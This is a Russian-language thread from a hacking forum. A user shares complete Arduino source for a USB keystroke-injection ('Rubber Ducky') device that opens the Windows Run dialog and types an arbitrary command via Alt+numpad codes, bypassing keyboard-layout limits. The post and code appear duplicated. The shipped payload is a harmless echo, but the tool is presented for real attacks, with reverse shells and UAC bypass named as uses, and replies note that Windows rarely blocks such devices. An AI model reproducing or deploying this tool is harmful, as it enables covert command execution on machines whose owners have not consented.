• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья USB Rubby Dick - с блекджеком и шлюхами

dyadka0220

(L3) cache
Пользователь
Регистрация
18.06.2020
Сообщения
281
Реакции
166
Привет-привет, охото поделиться своей наработкой по такой теме как usb rubby duck. Для начала с теории.

Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.

Полный код будет в конце статьи, а сейчас разберём его части.

При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он понадобится дальше
C:
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK);
delay(1500);

Тут по стандарту, открываем Run меню
C:
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);

Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в обратном, получается реверснули реверснутое)
C:
do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
    
    delay(5);
  } while(*command != 0);

Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID
C:
#include "HID-Project.h"

#define PAYLOAD "cmd.exe /c echo pwned & pause"

void write_numpad_digit(int num){
  switch (num) {
    case 0: Keyboard.write(KEYPAD_0); break;
    case 1: Keyboard.write(KEYPAD_1); break;
    case 2: Keyboard.write(KEYPAD_2); break;
    case 3: Keyboard.write(KEYPAD_3); break;
    case 4: Keyboard.write(KEYPAD_4); break;
    case 5: Keyboard.write(KEYPAD_5); break;
    case 6: Keyboard.write(KEYPAD_6); break;
    case 7: Keyboard.write(KEYPAD_7); break;
    case 8: Keyboard.write(KEYPAD_8); break;
    case 9: Keyboard.write(KEYPAD_9); break;
  }
}

void setup() {
  char* command = PAYLOAD;
  
  BootKeyboard.begin();
  delay(1300);
    
  if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK); //enable numlock button
  delay(1500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(2500);
  Keyboard.write(KEY_BACKSPACE);
  delay(500);
  
  int _count = 0;
  int _symbols[5];
  
  do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
    
    delay(5);
  } while(*command != 0);
  delay(50);
  Keyboard.write(KEY_RETURN);
}


void loop() {
  return;
}
 
Привет-привет, охото поделиться своей наработкой по такой теме как usb rubby duck. Для начала с теории.

Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.

Полный код будет в конце статьи, а сейчас разберём его части.

При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он понадобится дальше
C:
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK);
delay(1500);

Тут по стандарту, открываем Run меню
C:
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);

Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в обратном, получается реверснули реверснутое)
C:
do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
   
    delay(5);
  } while(*command != 0);

Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID
C:
#include "HID-Project.h"

#define PAYLOAD "cmd.exe /c echo pwned & pause"

void write_numpad_digit(int num){
  switch (num) {
    case 0: Keyboard.write(KEYPAD_0); break;
    case 1: Keyboard.write(KEYPAD_1); break;
    case 2: Keyboard.write(KEYPAD_2); break;
    case 3: Keyboard.write(KEYPAD_3); break;
    case 4: Keyboard.write(KEYPAD_4); break;
    case 5: Keyboard.write(KEYPAD_5); break;
    case 6: Keyboard.write(KEYPAD_6); break;
    case 7: Keyboard.write(KEYPAD_7); break;
    case 8: Keyboard.write(KEYPAD_8); break;
    case 9: Keyboard.write(KEYPAD_9); break;
  }
}

void setup() {
  char* command = PAYLOAD;
 
  BootKeyboard.begin();
  delay(1300);
   
  if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK); //enable numlock button
  delay(1500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(2500);
  Keyboard.write(KEY_BACKSPACE);
  delay(500);
 
  int _count = 0;
  int _symbols[5];
 
  do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
   
    delay(5);
  } while(*command != 0);
  delay(50);
  Keyboard.write(KEY_RETURN);
}


void loop() {
  return;
}

Может ли система это как то спалить ?
 
Может ли система это как то спалить ?
Если специально настроена, то да. Но в винде чтобы всё настроить на запрет "чужих" юсб, надо изрядно поковыряться в нескольких разных местах. Решений, чтобы это одной кнопкой настраивалось я не встречал.
 
Если специально настроена, то да. Но в винде чтобы всё настроить на запрет "чужих" юсб, надо изрядно поковыряться в нескольких разных местах. Решений, чтобы это одной кнопкой настраивалось я не встречал.
Интересно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх